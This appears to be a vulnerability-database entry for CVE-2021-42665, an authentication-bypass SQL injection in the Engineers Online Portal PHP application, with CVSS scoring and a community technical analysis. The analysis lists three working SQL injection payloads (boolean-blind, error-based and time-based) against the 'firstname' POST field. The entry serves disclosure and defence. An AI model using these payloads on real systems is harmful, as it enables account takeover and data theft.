Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2021-42665

Disclosure Date: November 05, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Validated

Description

An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication.

Add Assessment

1
Ratings
Technical Analysis

CVE-2021-42665

Vendor

Description:

An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication.
And five more SQL – Injections, the attacker can bypass all accounts of this system and he can manipulate those accounts with
malicious purposes and destroy the owners of these accounts. This system also has six more XSS: 4 reflected and 2 (CSRF) vulnerabilities!
Status: Critical and extremely awful!
Conclusion: This system must be stopped from distribution immediately! BR nu11secur1ty

Types of SQL Injections:

---
Parameter: firstname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: firstname=tbcRxVrk' OR NOT 6030=6030#&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: firstname=tbcRxVrk' AND (SELECT 4603 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (ELT(4603=4603,1))),0x717a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- upfj&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: firstname=tbcRxVrk' AND (SELECT 2357 FROM (SELECT(SLEEP(5)))mNaQ)-- xKTb&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0
---

Reproduce:

href

Proof:

href

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • engineers online portal project

Products

  • engineers online portal 1.0

Additional Info

Technical Analysis